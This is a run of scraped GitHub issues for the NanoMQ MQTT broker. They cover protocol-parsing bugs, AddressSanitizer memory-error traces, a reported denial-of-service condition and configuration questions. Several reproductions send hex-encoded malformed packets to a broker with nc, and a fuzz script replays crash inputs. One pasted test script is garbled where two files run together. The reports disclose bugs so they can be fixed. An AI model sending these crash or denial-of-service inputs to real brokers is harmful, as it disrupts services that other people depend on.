/home/hermann/Documents/hermannDocuments/nanomq/nng/src/core/taskq.c:92 #4 0x646a30f15a6d in nni_taskq_sys_init /home/hermann/Documents/hermannDocuments/nanomq/nng/src/core/taskq.c:273 #5 0x646a30efeb7e in nni_init_helper /home/hermann/Documents/hermannDocuments/nanomq/nng/src/core/init.c:35 #6 0x646a30f1ee23 in nni_plat_init /home/hermann/Documents/hermannDocuments/nanomq/nng/src/platform/posix/posix_thread.c:422 #7 0x646a30efebf1 in nni_init /home/hermann/Documents/hermannDocuments/nanomq/nng/src/core/init.c:57 #8 0x646a30f57025 in nng_mtx_alloc /home/hermann/Documents/hermannDocuments/nanomq/nng/src/supplemental/util/platform.c:93 #9 0x646a30ed9b31 in log_init /home/hermann/Documents/hermannDocuments/nanomq/nanomq/mqtt_api.c:232 #10 0x646a30ee6602 in broker_start /home/hermann/Documents/hermannDocuments/nanomq/nanomq/apps/broker.c:1825 #11 0x646a30eda828 in main /home/hermann/Documents/hermannDocuments/nanomq/nanomq/nanomq.c:142 #12 0x718a74c29d8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58 SUMMARY: AddressSanitizer: heap-buffer-overflow /home/hermann/Documents/hermannDocuments/nanomq/nng/src/sp/protocol/mqtt/mqtt_parser.c:200 in get_utf8_str Shadow bytes around the buggy address: 0x0c047fff8bb0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff8bc0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff8bd0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff8be0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff8bf0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa =>0x0c047fff8c00: fa fa 05 fa fa fa[01]fa fa fa 01 fa fa fa fa fa 0x0c047fff8c10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff8c20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff8c30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff8c40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff8c50: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb Shadow gap: cc ==218138==ABORTING ```
`CONNECT` package with `User Property` may lead to unexpected behaviors
https://api.github.com/repos/nanomq/nanomq/issues/1789/comments
1
2024-05-17T08:29:30Z
2024-05-21T07:25:08Z
https://github.com/nanomq/nanomq/issues/1789
2,302,127,173
1,789
[ "emqx", "nanomq" ]
**Describe the bug** Hi, I found something on the NanoMQ that is contrary to the protocol specification description (protocol violation or logic bug). For tracking purposes, I will report all results under this Issue. **Environment Details** - NanoMQ version 0.21.8 - Operating system and version: Ubuntu 20.04 **Client SDK** If possible include the mqtt sdk you used to connect to nanomq Minimal C test cases are perferred. **Additional context** Add any other context about the problem here.
Several protocol violations or bugs in NanoMQ
https://api.github.com/repos/nanomq/nanomq/issues/1782/comments
47
2024-05-14T02:27:55Z
2024-07-30T08:43:53Z
https://github.com/nanomq/nanomq/issues/1782
2,294,214,632
1,782
[ "emqx", "nanomq" ]
**Describe the bug** NanoMQ mistook a UNSUBSCRIBE message carrying a legitimate User Property attribute as INVALID, causing the connection to be broken instead of the expected return of a UNSUBACK message. **Expected behavior** the broker sends a UNSUBACK packet to the client. **Actual Behavior** the broker regards the UNSUBSCRIBE request as invalid, and closes the connection. ![image](https://github.com/nanomq/nanomq/assets/44093631/0831ff53-8670-4263-8b3f-54675782c2d4) **To Reproduce** ``` echo 104800044d5154540502198e1d215415260008744a613168307079000d77516d586452786d3835676132001e32746e6233766c6a304630344d317a6b3855744b45524a506a347579466aa2c101af9c17260007504f32726b494a000b717245346876656135506b00184f6f5071356d7057616547777255546b6a61706750454f5000115635796b5042377078646b744838556a490008514c344462316a6c0002396d0011784c736a7745326a717a3651364563684300194e676b584d4c74386c6d58656f694e416e744459326271744a001e576d466e506e337763794c6f52356e6a53427a70616e75773932354e6d39000f713564414b6448784654624e4b7854000b65617633456b63796d3177 | xxd -p -r | nc 172.17.0.6 1883 ``` ![image](https://github.com/nanomq/nanomq/assets/44093631/d5636cc2-fc9c-47ce-a65c-31a9b4f8d04b) The key length is **00 07**, but NanoMQ treated **26 00** as the key length, thus causing error. ![image](https://github.com/nanomq/nanomq/assets/44093631/6f7666e5-8c10-475f-ad67-681ae53d131b) **Environment Details** - NanoMQ version 0.21.8 **Client SDK** If possible include the mqtt sdk you used to connect to nanomq Minimal C test cases are perferred. **Additional context** Add any other context about the problem here.
The logic for parsing User Property seems flawed
https://api.github.com/repos/nanomq/nanomq/issues/1781/comments
1
2024-05-13T14:04:56Z
2024-05-17T03:40:21Z
https://github.com/nanomq/nanomq/issues/1781
2,292,930,665
1,781
[ "emqx", "nanomq" ]
**Describe the bug** When we send a CONNECT packet (MQTT version 3.1) that carries the will topic to NanoMQ, NanoMQ saves such a will message; when a subsequent client initiates a normal subscription to the will topic, NanoMQ accidentally forwards the will message to the client, and it is still of the Reserved type, which violates two rules: 1. The broker can only send a will message on the corresponding topic if the subscribing client disconnects unexpectedly 2. Reserved messages are prohibited. **To Reproduce** First, send the Connect packet ``` echo 103d00064d51497364700376225e0003675977000146000c5141674e586e367750775051001949764873317a50305355644d6842777a7254486747644d4d4b | xxd -p -r | nc 172.17.0.6 1883 ``` Then, send the Connect and Subscribe Packet ``` echo 107300064d514973647003d49498001432764656424f365950574739704650435463565a00076b724a5448616c000b787a5353526f444bff44430019664f4739766c306a77595165793057586346364576315a4a6e001e383952707861723265476d793635444d69745478764f754c6f58595a7a308217d08e000434586c79000001460000074b58597530484501 | xxd -p -r | nc 172.17.0.6 1883 ``` ![image](https://github.com/nanomq/nanomq/assets/44093631/3899da1f-8ae5-4425-8308-e2df00642b08) **Environment Details** - NanoMQ 0.21.8 **Client SDK** If possible include the mqtt sdk you used to connect to nanomq Minimal C test cases are perferred. **Additional context** Add any other context about the problem here.
NanoMQ accidentally send Reserved-type packets to clients
https://api.github.com/repos/nanomq/nanomq/issues/1780/comments
9
2024-05-13T13:39:14Z
2024-05-31T02:55:55Z
https://github.com/nanomq/nanomq/issues/1780
2,292,863,873
1,780
[ "emqx", "nanomq" ]
**Describe the bug** malformed packet may lead to unexpected behavior. This malformed packet will send SUBACK right after CONNECT, and a SUB follows. SUB clients , which should be dropped, will still be inserted into db_tree. **To Reproduce** 1. start nanomq with ` ./nanomq/nanomq start --url tls+nmq-tcp://0.0.0.0:8883 --http --cacert etc/certs/cacert.pem --cert etc/certs/cert.pem --key etc/certs/key.pem --qos_duration 1 --log_level debug --log_stdout false --log_file /tmp/nanomq_test.log` 2. get `test.py, fuzzy_test.txt, fuzzy_test.py, rest_api_test.py` and run the python script to test `python3 test.py` fuzzy file --> [fuzzy_test.txt](https://github.com/nanomq/nanomq/files/15290977/fuzzy_test.txt) test.py --> ``` from cmath import log from fileinput import close import os import subprocess import shlex iimport requests import json from collections import namedtuple base_url = "http://127.0.0.1:8081/api/v4" def test_get_api(): # not all endpoint is tested. paths = ["", "/nodes", "/brokers", "/clients", "/subscriptions", "/topic-tree", "/reload", "/configuration"] for p in paths: print("testing Get API: " + base_url + p) response = requests.get(base_url + p, auth=('admin', 'public'), headers={'Connection':'close'}) if response.status_code != 200: print("test get api failed: " + p) return False return True def test_post_api(): Param = namedtuple('Param', ['path', 'payload']) param1 = Param(path="/reload", payload={'data': { 'property_size': 64, 'max_packet_size': 5120, 'client_max_packet_size': 5, 'msq_len': 2048, 'qos_duration': 10, 'keepalive_backoff': 1250, 'allow_anonymous': False }}) param2 = Param(path="/reload", payload={'data': { 'property_size': 64, 'max_packet_size': 10240, 'client_max_packet_size': 5, 'msq_len': 2048, 'qos_duration': 90, 'keepalive_backoff': 1250, 'allow_anonymous': True }}) param_list = [param1, param2] for item in param_list: print("testing Post API: " + base_url + item.path) response = requests.post( base_url + item.path, json.dumps(item.payload), auth=('admin', 'public'), headers={'Connection':'close'}) if response.status_code != 200: print("test Post api failed: " + item.path) return False return True def rest_api_test(): return test_get_api() and test_post_api()mport time from os.path import exists from fuzzy_test import fuzzy_test from rest_api_test import rest_api_test if __name__=='__main__': print("fuzzy test start") if( False == fuzzy_test()): print("fuzzy test failed") raise AssertionError print("fuzzy test end") print("rest api test start") if False == rest_api_test(): print("rest api test failed") raise AssertionError print("rest api test end") ``` fuzzy_test.py (set right path for the files)--> ``` import time import socket import os data_path = "../../.github/scripts/fuzzy_test.txt" addr = '127.0.0.1' port = 1883 def try_connect(bytes_flow, sleep_time = 0.01): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) while True: try: s.connect((addr, port)) s.send(bytes_flow) s.close() break except ConnectionResetError: continue except ConnectionRefusedError: return False time.sleep(sleep_time) return True def start_fuzzy_test(fuzzy_data): flag = True for hex_flow in reversed(fuzzy_data): bytes_flow = bytearray.fromhex(hex_flow) status = try_connect(bytes_flow) if status == False: print('[+] A crash was detected') flag = False if(flag == True): print('[-] No crash..') return flag def fuzzy_test(): with open(data_path, 'r') as f: fuzzy_data = f.readlines() if (start_fuzzy_test(fuzzy_data) == False): return False else: return True ``` rest_api_test.py --> ``` import requests import json from collections import namedtuple base_url = "http://127.0.0.1:8081/api/v4" def test_get_api(): # not all endpoint is tested. paths = ["", "/nodes", "/brokers", "/clients", "/subscriptions", "/topic-tree", "/reload", "/configuration"] for p in paths: print("testing Get API: " + base_url + p) response = requests.get(base_url + p, auth=('admin', 'public'), headers={'Connection':'close'}) if response.status_code != 200: print("test get api failed: " + p) return False return True def test_post_api(): Param = namedtuple('Param', ['path', 'payload']) param1 = Param(path="/reload", payload={'data': { 'property_size': 64, 'max_packet_size': 5120, 'client_max_packet_size': 5, 'msq_len': 2048, 'qos_duration': 10, 'keepalive_backoff': 1250, 'allow_anonymous': False }}) param2 = Param(path="/reload", payload={'data': { 'property_size': 64, 'max_packet_size': 10240, 'client_max_packet_size': 5, 'msq_len': 2048, 'qos_duration': 90, 'keepalive_backoff': 1250, 'allow_anonymous': True }}) param_list = [param1, param2] for item in param_list: print("testing Post API: " + base_url + item.path) response = requests.post( base_url + item.path, json.dumps(item.payload), auth=('admin', 'public'), headers={'Connection':'close'}) if response.status_code != 200: print("test Post api failed: " + item.path) return False return True def rest_api_test(): return test_get_api() and test_post_api() ```
Malformed packet may lead to unexpected behavior.
https://api.github.com/repos/nanomq/nanomq/issues/1779/comments
1
2024-05-13T07:48:06Z
2024-05-13T11:44:24Z
https://github.com/nanomq/nanomq/issues/1779
2,292,084,769
1,779
[ "emqx", "nanomq" ]
**Describe the bug** 使用服务方式启动nanomq, [Service] Type=simple ExecStart=/opt/wonen/nanomq/bin/nanomq start --conf etc/nanomq.conf Restart=on-failure RestartSec=20 StartLimitInterval=0 当桥接不断失败后,会自动重启,版本0.21.8 。期望桥接失败不影响本地继续使用 ` May 11 16:23:30 orangepi5 nanomq[5987]: 2024-05-11 16:23:30 [5994] WARN /home/econe/dev/nanomq/nng/src/mqtt/protocol/mqtt/mqtt_client.c:747 mqtt_recv_cb: MQTT client recv error 136! May 11 16:23:30 orangepi5 nanomq[5987]: 2024-05-11 16:23:30 [5993] WARN /home/econe/dev/nanomq/nng/src/mqtt/protocol/mqtt/mqtt_client.c:699 mqtt_send_cb: MQTT client send error 7! May 11 16:23:30 orangepi5 nanomq[5987]: 2024-05-11 16:23:30 [5994] ERROR /home/econe/dev/nanomq/nanomq/apps/broker.c:305 server_cb: RECV nng aio result error: 31 or NULL msg received May 11 16:23:30 orangepi5 nanomq[5987]: 2024-05-11 16:23:30 [6006] WARN /home/econe/dev/nanomq/nanomq/bridge.c:1081 bridge_tcp_disconnect_cb: bridge client disconnected! RC [139] May 11 16:23:31 orangepi5 nanomq[5987]: 2024-05-11 16:23:31 [5998] WARN /home/econe/dev/nanomq/nng/src/mqtt/protocol/mqtt/mqtt_client.c:747 mqtt_recv_cb: MQTT client recv error 136! May 11 16:23:31 orangepi5 nanomq[5987]: panic: /home/econe/dev/nanomq/nng/src/mqtt/transport/tcp/mqtt_tcp.c: 807: assert err: len == nni_ms May 11 16:23:31 orangepi5 nanomq[5987]: This message is indicative of a BUG. May 11 16:23:31 orangepi5 nanomq[5987]: Report this at https://github.com/emqx/nanomq May 11 16:23:31 orangepi5 nanomq[5987]: 2024-05-11 16:23:31 [5999] ERROR /home/econe/dev/nanomq/nanomq/apps/broker.c:104 sig_handler: signal signumber: 6 received! May 11 16:23:31 orangepi5 systemd[1]: nanomq.service: Main process exited, code=exited, status=1/FAILURE May 11 16:23:31 orangepi5 systemd[1]: nanomq.service: Failed with result 'exit-code'. May 11 16:24:01 orangepi5 systemd[1]: nanomq.service: Scheduled restart job, restart counter is at 2. May 11 16:24:01 orangepi5 systemd[1]: Stopped nanomq. May 11 16:24:01 orangepi5 systemd[1]: Started nanomq. May 11 16:24:01 orangepi5 nanomq[7372]: {} May 11 16:24:01 orangepi5 nanomq[7372]: Server URL: mqtt-tcp://172.16.1.20:1883 May 11 16:24:01 orangepi5 nanomq[7372]: NanoMQ Broker is started successfully! May 11 16:24:01 orangepi5 nanomq[7372]: 2024-05-11 16:24:01 [7377] WARN /home/econe/dev/nanomq/nng/src/mqtt/protocol/mqtt/mqtt_client.c:747 mqtt_recv_cb: MQTT client recv error 136! May 11 16:24:01 orangepi5 nanomq[7372]: 2024-05-11 16:24:01 [7377] ERROR /home/econe/dev/nanomq/nanomq/apps/broker.c:305 server_cb: RECV nng aio result error: 31 or NULL msg received May 11 16:24:01 orangepi5 nanomq[7372]: 2024-05-11 16:24:01 [7377] ERROR /home/econe/dev/nanomq/nanomq/apps/broker.c:305 server_cb: RECV nng aio result error: 7 or NULL msg received May 11 16:24:01 orangepi5 nanomq[7372]: 2024-05-11 16:24:01 [7393] WARN /home/econe/dev/nanomq/nanomq/bridge.c:1081 bridge_tcp_disconnect_cb: bridge client disconnected! RC [139] May 11 16:24:04 orangepi5 nanomq[7372]: 2024-05-11 16:24:04 [7386] WARN /home/econe/dev/nanomq/nng/src/mqtt/protocol/mqtt/mqtt_client.c:747 mqtt_recv_cb: MQTT client recv error 136! `
Weird ASSERT warning in self-complied Docker?
https://api.github.com/repos/nanomq/nanomq/issues/1778/comments
3
2024-05-11T08:35:00Z
2024-07-29T08:44:43Z
https://github.com/nanomq/nanomq/issues/1778
2,290,782,756
1,778
[ "emqx", "nanomq" ]
**Describe the bug** nanomq版本0.21.8 当我使用sqlite进行retain消息持久化时 sqlite { disk_cache_size = 102400 mounted_file_path = "/usr/local/etc/" flush_mem_threshold = 100 resend_interval = 5000 } 因为场景需要,我在编译时修改系统主题可以保留retain 0->1 原代码 ` #define DISCONNECT_TOPIC "$SYS/brokers/disconnected" #define CONNECT_TOPIC "$SYS/brokers/connected" nng_msg * nano_msg_notify_connect(conn_param *cparam, uint8_t code) { nni_msg * msg = NULL; mqtt_string string, topic; char buff[512]; snprintf(buff, 256, CONNECT_MSG, cparam->username.body, nni_timestamp(), cparam->pro_name.body, cparam->keepalive_mqtt, code, cparam->pro_ver, cparam->clientid.body, cparam->clean_start, cparam->ip_addr_v4); string.body = buff; string.len = strlen(string.body); topic.body = CONNECT_TOPIC; topic.len = strlen(CONNECT_TOPIC); msg = nano_pubmsg_composer( &msg, 0, 0, &string, &topic, cparam->pro_ver, nng_clock()); return msg; } ` 改为 ` msg = nano_pubmsg_composer( &msg, 1, 0, &string, &topic, cparam->pro_ver, nng_clock()); ` 当客户端连接并订阅主题$SYS/#时,会报错 2024-05-09 12:28:36 [18506] INFO /home/econe/dev/nanomq/nanomq/bridge.c:1024 bridge_tcp_connect_cb: Bridge client subscribed topic /node/ad345be3b320d/# (qos 1 rap 0 rh 0). 2024-05-09 12:28:36 [18507] INFO /home/econe/dev/nanomq/nanomq/bridge.c:285 send_callback: bridge: subscribe aio result 0 2024-05-09 12:28:36 [18507] INFO /home/econe/dev/nanomq/nanomq/bridge.c:287 send_callback: bridge: suback code 1 2024-05-09 12:28:41 [18498] INFO /home/econe/dev/nanomq/nanomq/sub_handler.c:86 decode_sub_msg: topic: [/#] len: [2] pid [7120] 2024-05-09 12:28:41 [18507] INFO /home/econe/dev/nanomq/nanomq/sub_handler.c:86 decode_sub_msg: topic: [$SYS/#] len: [6] pid [7121] 2024-05-09 12:28:41 [18502] WARN /home/econe/dev/nanomq/nng/src/sp/transport/mqtt/broker_tcp.c:639 tcptran_pipe_recv_cb: nni aio recv error!! Connection shutdown 2024-05-09 12:28:41 [18502] WARN /home/econe/dev/nanomq/nng/src/sp/transport/mqtt/broker_tcp.c:907 tcptran_pipe_recv_cb: tcptran_pipe_recv_cb: parse error rv: 139 2024-05-09 12:28:41 [18498] WARN /home/econe/dev/nanomq/nng/src/sp/protocol/mqtt/nmq_mqtt.c:397 nano_ctx_send: pipe id 1288900292 is gone, pub failed 我只是想取得某个客户端的最后状态是连接还是断开,比如 $SYS/brokers/emqx@172.17.0.8/connection {"status": "disconnected/connected"}
retain消息持久化,系统主题有bug
https://api.github.com/repos/nanomq/nanomq/issues/1774/comments
2
2024-05-09T04:33:40Z
2024-05-10T17:01:41Z
https://github.com/nanomq/nanomq/issues/1774
2,286,871,359
1,774
[ "emqx", "nanomq" ]
**Describe the bug** ``` ./nanomq_cli/nanomq_cli sub --url 'mqtt-quic://a.b.c:14567' -t 'fwd/topic1' --quic 1 ↵ ✹ init_dialer_tls: Not supported ================================================================= ==3630704==ERROR: LeakSanitizer: detected memory leaks Direct leak of 33 byte(s) in 1 object(s) allocated from: #0 0x7fbe7f4d92ef in malloc (/lib64/libasan.so.8+0xd92ef) (BuildId: 542ad02088f38edfdba9d4bfa465b2299f512d3e) #1 0x481027 in nni_alloc /home/wangha/Documents/nanomq/nng/src/platform/posix/posix_alloc.c:20 #2 0x47b7b3 in nni_strdup /home/wangha/Documents/nanomq/nng/src/core/strs.c:34 #3 0x4523b2 in nng_strdup /home/wangha/Documents/nanomq/nng/src/nng.c:102 #4 0x423d53 in client_parse_opts /home/wangha/Documents/nanomq/nanomq_cli/client.c:655 #5 0x429bde in client /home/wangha/Documents/nanomq/nanomq_cli/client.c:1592 #6 0x42a233 in subscribe_start /home/wangha/Documents/nanomq/nanomq_cli/client.c:1679 #7 0x43ab71 in main /home/wangha/Documents/nanomq/nanomq_cli/main.c:120 #8 0x7fbe7e344b89 in __libc_start_call_main (/lib64/libc.so.6+0x27b89) (BuildId: f888be5f5e7d58e04cabb8c675c7ab94e77dd68c) #9 0x7fbe7e344c4a in __libc_start_main_alias_2 (/lib64/libc.so.6+0x27c4a) (BuildId: f888be5f5e7d58e04cabb8c675c7ab94e77dd68c) #10 0x41f044 in _start (/home/wangha/Documents/nanomq/build/nanomq_cli/nanomq_cli+0x41f044) (BuildId: 4c83c21f20f952f572f9145c58ce05cb9a35cf1c) SUMMARY: AddressSanitizer: 33 byte(s) leaked in 1 allocation(s). ``` ``` ./nanomq_cli/nanomq_cli sub -h a.b.c -p 14567 -t 'fwd/topic1' --quic init_dialer_tls: Not supported ```
How to use nanomq_cli quic client?
https://api.github.com/repos/nanomq/nanomq/issues/1773/comments
1
2024-05-08T10:49:45Z
2024-05-08T11:34:36Z
https://github.com/nanomq/nanomq/issues/1773
2,285,294,266
1,773
[ "emqx", "nanomq" ]
**Describe the bug** Clean session for v311 and session_expiry for v5 is not working. **To Reproduce** this is the python code to reproduce for v311. [clean_session.txt](https://github.com/nanomq/nanomq/files/15244405/clean_session.txt)
Clean Session for v311 and session expiry for v5 is not working
https://api.github.com/repos/nanomq/nanomq/issues/1772/comments
1
2024-05-08T06:00:49Z
2024-05-08T07:19:26Z
https://github.com/nanomq/nanomq/issues/1772
2,284,746,672
1,772
[ "emqx", "nanomq" ]
我加了编译条件编译,设置了规则,发送了消息。但是不能保存到mysql的数据库里面。 用Mysql保存数据需要,除了需要建数据库,还需要建表和表头吗? File: [/docs/zh_CN/rule/config-rule-engine.md](https://nanomq.io/docs/zh/latest/rule/config-rule-engine.html) ![1](https://github.com/nanomq/nanomq/assets/44936936/6b54d826-5e93-44e2-999e-1ccf9b6a427b) ![2](https://github.com/nanomq/nanomq/assets/44936936/c318084f-839c-4c80-b779-01fb27103b0b)
[Question] MySQL plugin
https://api.github.com/repos/nanomq/nanomq/issues/1771/comments
6
2024-05-04T10:32:23Z
2024-05-24T05:33:51Z
https://github.com/nanomq/nanomq/issues/1771
2,278,922,749
1,771
[ "emqx", "nanomq" ]
**Describe the bug** The `nngproxy` subcommand of `nanomq_cli` does not work for me due to an argument parsing issue. I have to revert the change in e9fe4b17 for `nng_proxy.c` (i.e. initialize `idx` as 2 again) to make `nanomq_cli nngproxy` work. **Expected behavior** (After reverting e9fe4b17 for `nng_proxy.c`) ``` # ./nanomq_cli nngproxy pub0 --mqtt_url mqtt-tcp://127.0.0.1:1883 --dial tcp://localhost:3327 -t foo unable to connect tcp://localhost:3327 Connection refused! # that's OK, and it works when I have a corresponding listener ``` **Actual Behavior** (Without reverting e9fe4b17 for `nng_proxy.c`) ``` # ./nanomq_cli nngproxy pub0 --mqtt_url mqtt-tcp://127.0.0.1:1883 --dial tcp://localhost:3327 -t foo NNG url is invalid. ``` **To Reproduce** See command lines above. **Environment Details** - NanoMQ version: 4d750bac25e01d85fb708d6d2b01d365165ab3a0 - Operating system and version: custom embedded Linux (armv7hf) with kernel 5.7.1 (patched) - Compiler and language used: n/a - testing scenario: n/a **Client SDK** n/a **Additional context** n/a
Argument parsing issue for nngproxy
https://api.github.com/repos/nanomq/nanomq/issues/1770/comments
3
2024-05-02T12:13:16Z
2024-05-10T14:25:00Z
https://github.com/nanomq/nanomq/issues/1770
2,275,389,493
1,770
[ "emqx", "nanomq" ]
**Describe the bug** Cannot get the Retained Messages feature to work correctly with nanomq:0.21.9-full docker image over TLS. Once a message with retain flag is set and published, the same client with the intended topic already subscribed will cause a failure on reconnect. We are using the following tutorial to get the 'Retained Messages' feature to function. https://nanomq.io/docs/en/latest/tutorial/retain-msg-persistence.html **Expected behavior** Supposed to work correctly like with EMQX broker. **Actual Behavior** Client is unable to establish connection with the broker if the subscribed topic has a retained message. **To Reproduce** We are testing the docker version of nanomq. Clear /tmp content, restart nanomq app and then try to send a retain message to topic A. Subscribe to the topic A with the same client and then try to reconnect. Message should persist. **Environment Details** - NanoMQ version = 0.21.9-full - Operating system and version = Ubuntu 20.04 LTS (ARM 32-bit Allwinner A20 SoC) - Testing scenario = Docker Environment **Additional context** Below is the log from NanoMQ when the failure occurs. [nanomq.log](https://github.com/nanomq/nanomq/files/15186243/nanomq.log) Below is the log from MQTTX client on failure to reconnect :- ``` [2024-05-02 17:20:21] [INFO] Resubscription in progress for topic: test/topic [2024-05-02 17:20:21] [ERROR] Error subscribing to topic: Error: Connection closed [2024-05-02 17:20:21] [ERROR] Connection for 192.168.20.101 failed, MQTT.js onError trigger, Error: Error: Invalid variable byte integer ```
Unable to get NanoMQ implementation of Retained Messages to function correctly
https://api.github.com/repos/nanomq/nanomq/issues/1769/comments
6
2024-05-02T09:26:52Z
2024-05-16T02:38:40Z
https://github.com/nanomq/nanomq/issues/1769
2,275,034,265
1,769
[ "emqx", "nanomq" ]
**Describe the bug** We noticed high idle CPU usage when the official docker image (nanomq:0.21.9-full) is used. **Expected behavior** The app should not consume much CPU at idle state. **Actual Behavior** ``` CONTAINER ID NAME CPU % MEM USAGE / LIMIT MEM % NET I/O BLOCK I/O PIDS 2722535157ae nanomq 175.11% 752KiB / 998.2MiB 0.07% 3.98kB / 2.21kB 0B / 0B 13 ``` ``` top - 03:25:16 up 1:00, 0 users, load average: 2.49, 2.67, 2.69 Tasks: 3 total, 2 running, 1 sleeping, 0 stopped, 0 zombie %Cpu(s): 8.8 us, 91.2 sy, 0.0 ni, 0.0 id, 0.0 wa, 0.0 hi, 0.0 si, 0.0 st MiB Mem : 998.2 total, 203.6 free, 246.9 used, 547.8 buff/cache MiB Swap: 0.0 total, 0.0 free, 0.0 used. 735.9 avail Mem PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND 1 root 20 0 107000 2804 2468 R 174.7 0.3 7:04.56 nanomq 28 root 20 0 4468 2040 1720 R 0.3 0.2 0:00.03 top 19 root 20 0 2728 2172 1920 S 0.0 0.2 0:00.43 bash ``` **To Reproduce** docker run -d -p 1883:1883 -p 8883:8883 --name nanomq emqx/nanomq:0.21.9-full We just ran the above command. **Environment Details** - NanoMQ version: nanomq:0.21.9-full - Operating system and version: Ubuntu 20.04 LTS (ARM 32-bit - Allwinner A20 SoC)
High idle CPU usage with latest full docker image
https://api.github.com/repos/nanomq/nanomq/issues/1768/comments
3
2024-05-02T03:33:14Z
2024-05-07T02:45:26Z
https://github.com/nanomq/nanomq/issues/1768
2,274,523,743
1,768
[ "emqx", "nanomq" ]
**Describe the bug** After the client sends a large number of packets to NanoMQ, NanoMQ will fall into a circular waiting state where the MQTT port is still open, but any new requests will not be responded to. **Expected behavior** NanoMQ should revert to the normal receive state after receiving and processing any input message to wait for subsequent requests. **Actual Behavior** But, NanoMQ seems to be stuck in a waiting loop, as you can see from the logs it keeps printing "send aio error Out of files". **To Reproduce** I implemented a Python script with the two packets involved, nanomq.pcap and nanomq2.pcap, to reproduce the problem. [NanoMQ DoS.zip](https://github.com/nanomq/nanomq/files/15176890/NanoMQ.DoS.zip) ```bash # start the broker ./nanomq start --conf ./nanomq.conf # execute py script python3 mqtt_replay.py ``` ![image](https://github.com/nanomq/nanomq/assets/44093631/0c1df700-655c-489b-963d-41ba126c2c6a) Now: ![image](https://github.com/nanomq/nanomq/assets/44093631/88731c21-7aa9-43a0-a465-da751586a5c2) ![image](https://github.com/nanomq/nanomq/assets/44093631/899085e5-7d8f-4174-95fc-16e5607556b2) **Environment Details** - [NanoMQ v0.21.8-8](https://github.com/nanomq/nanomq/releases/download/0.21.8/nanomq-0.21.8-linux-amd64.deb) - Ubuntu 20.04 - I test on the NanoMQ release version **Client SDK** If possible include the mqtt sdk you used to connect to nanomq Minimal C test cases are perferred. **Additional context**
Potential DoS Attacks in NanoMQ
https://api.github.com/repos/nanomq/nanomq/issues/1767/comments
3
2024-05-01T12:20:01Z
2024-05-09T04:17:07Z
https://github.com/nanomq/nanomq/issues/1767
2,273,419,125
1,767
[ "emqx", "nanomq" ]
**Describe the bug** ``` ./nanomq_cli/nanomq_cli sub -h 127.0.0.1 -p 8883 -t "topic3" --cafile ../etc/certs/cacert.pem -s connect_cb: tls+mqtt-tcp://127.0.0.1:8883 connect result: 0 ================================================================= ==2413209==ERROR: AddressSanitizer: heap-use-after-free on address 0x60f000017a8c at pc 0x000000481e84 bp 0x7f952a15b130 sp 0x7f952a15b128 disconnected reason : 139 WRITE of size 4 at 0x60f000017a8c thread T20 #0 0x481e83 in nni_atomic_dec_nv /home/wangha/Documents/nanomq/nng/src/platform/posix/posix_atomic.c:120 #1 0x46c519 in nni_msg_free /home/wangha/Documents/nanomq/nng/src/core/message.c:457 #2 0x45a5d2 in nng_msg_free /home/wangha/Documents/nanomq/nng/src/nng.c:1522 #3 0x4b1f79 in nng_mqtt_subscribe /home/wangha/Documents/nanomq/nng/src/supplemental/mqtt/mqtt_public.c:986 #4 0x428af0 in connect_cb /home/wangha/Documents/nanomq/nanomq_cli/client.c:1433 #5 0x47921d in nni_pipe_run_cb /home/wangha/Documents/nanomq/nng/src/core/socket.c:1790 #6 0x478624 in nni_dialer_add_pipe /home/wangha/Documents/nanomq/nng/src/core/socket.c:1589 #7 0x463d77 in dialer_connect_cb /home/wangha/Documents/nanomq/nng/src/core/dialer.c:383 #8 0x47bf6e in nni_taskq_thread /home/wangha/Documents/nanomq/nng/src/core/taskq.c:50 #9 0x47d19f in nni_thr_wrap /home/wangha/Documents/nanomq/nng/src/core/thread.c:94 #10 0x485314 in nni_plat_thr_main /home/wangha/Documents/nanomq/nng/src/platform/posix/posix_thread.c:266 #11 0x7f95419cd946 in start_thread (/lib64/libc.so.6+0x8c946) (BuildId: f888be5f5e7d58e04cabb8c675c7ab94e77dd68c) #12 0x7f9541a5385f in __clone3 (/lib64/libc.so.6+0x11285f) (BuildId: f888be5f5e7d58e04cabb8c675c7ab94e77dd68c) 0x60f000017a8c is located 124 bytes inside of 168-byte region [0x60f000017a10,0x60f000017ab8) freed by thread T6 here: #0 0x7f9542ad7fb8 (/lib64/libasan.so.8+0xd7fb8) (BuildId: 542ad02088f38edfdba9d4bfa465b2299f512d3e) #1 0x481079 in nni_free /home/wangha/Documents/nanomq/nng/src/platform/posix/posix_alloc.c:33 #2 0x46c605 in nni_msg_free /home/wangha/Documents/nanomq/nng/src/core/message.c:465 #3 0x5a0de0 in mqtts_tcptran_pipe_send_cb /home/wangha/Documents/nanomq/nng/src/mqtt/transport/tls/mqtt_tls.c:515 #4 0x47bf6e in nni_taskq_thread /home/wangha/Documents/nanomq/nng/src/core/taskq.c:50 #5 0x47d19f in nni_thr_wrap /home/wangha/Documents/nanomq/nng/src/core/thread.c:94 #6 0x485314 in nni_plat_thr_main /home/wangha/Documents/nanomq/nng/src/platform/posix/posix_thread.c:266 #7 0x7f95419cd946 in start_thread (/lib64/libc.so.6+0x8c946) (BuildId: f888be5f5e7d58e04cabb8c675c7ab94e77dd68c) previously allocated by thread T20 here: #0 